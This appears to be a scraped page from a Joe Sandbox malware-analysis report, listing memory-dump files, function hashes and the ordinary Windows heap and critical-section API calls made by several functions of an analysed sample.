Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: AllocateHeap
String ID: e&&
API String ID: 1279760036-2693715456
Opcode ID: 5994fa6a37785d156883f36fade0f15bc4522b9a4ff1f67ae1d1f6cb34ecc5c2
Instruction ID: 1135c00b65e125cc1fed44f16488c93673381e34dd9b8dde4ffba5b91009bc06
Opcode Fuzzy Hash: 5994fa6a37785d156883f36fade0f15bc4522b9a4ff1f67ae1d1f6cb34ecc5c2
Instruction Fuzzy Hash: 0CC1FD73D103208FDB58EF75EE8656A37A2F790314342872AE882D7466DFBC5D458B81

Function 00A6AB9F Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 191
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,-0000000285FDB18E), ref: 00A6AC42

Strings

e&&, xrefs: 00A6AE7B

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: AllocateHeap
String ID: e&&
API String ID: 1279760036-2693715456
Opcode ID: 936413c5be64967e35350f0e3d8e64d736834018391d5f9edf6144ae5fce2a42
Instruction ID: f5e400a173f55ebff839275807214cb41088664c11bd93d1502e27a2f47ed98f
Opcode Fuzzy Hash: 936413c5be64967e35350f0e3d8e64d736834018391d5f9edf6144ae5fce2a42
Instruction Fuzzy Hash: 9461DE769113108FDB5CEB75EE8A06A37A2F790310381932EE842D79A6DFBD4D058B85

Function 00A6AEA2 Relevance: .1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07eebea7f5d9f8aba352990468965d85028dfa4e125e06f3be3231508be181a5
Instruction ID: 463470037ba846c1c1fb9eb3879b9d9d20e7018a89fa91c186b5e8a811f3a96b
Opcode Fuzzy Hash: 07eebea7f5d9f8aba352990468965d85028dfa4e125e06f3be3231508be181a5
Instruction Fuzzy Hash: 3331DE36A113304FCB6CDF79AC4682A37A2F784354346832AD952D7665DFBC4C068AC1

Function 00AA4890 Relevance: 16.6, APIs: 11, Instructions: 106
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00AA4CE6,00000004,00A6CDF3,00A2D673,00A6CE1C,00A5EBBC,009B32C5), ref: 00AA48A3
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,?,00AA4CE6,00000004,00A6CDF3,00A2D673,00A6CE1C,00A5EBBC,009B32C5), ref: 00AA48F9
GlobalHandle.KERNEL32(?), ref: 00AA4902
GlobalUnlock.KERNEL32(00000000), ref: 00AA490C
GlobalReAlloc.KERNEL32(?,00000000,00002002), ref: 00AA4925
GlobalHandle.KERNEL32(?), ref: 00AA4937
GlobalLock.KERNEL32(00000000), ref: 00AA493E
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00AA4CE6,00000004,00A6CDF3,00A2D673,00A6CE1C,00A5EBBC,009B32C5), ref: 00AA4947
GlobalLock.KERNEL32(00000000), ref: 00AA4953
_memset.LIBCMT ref: 00AA496D
LeaveCriticalSection.KERNEL32(?), ref: 00AA499B

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock_memset
String ID:
API String ID: 496899490-0
Opcode ID: 635555e841cdd44594d74ada1f883b101248470f94fb851f1157a765005bdb58
Instruction ID: 55d36b5669cacd1d4f5e19e2c2201f2567f6b8161508e414d147dadc82681a4d
Opcode Fuzzy Hash: 635555e841cdd44594d74ada1f883b101248470f94fb851f1157a765005bdb58
Instruction Fuzzy Hash: 0431D031600704AFDB219F68DC89A1BBBF9FF8A300B004929F556C32A0DBB4F9508B50

Function 00AA4C92 Relevance: 1.5, APIs: 1, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00AA4C99

Part of subcall function 00A4934B: __CxxThrowException@8.LIBCMT ref: 00A49361

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
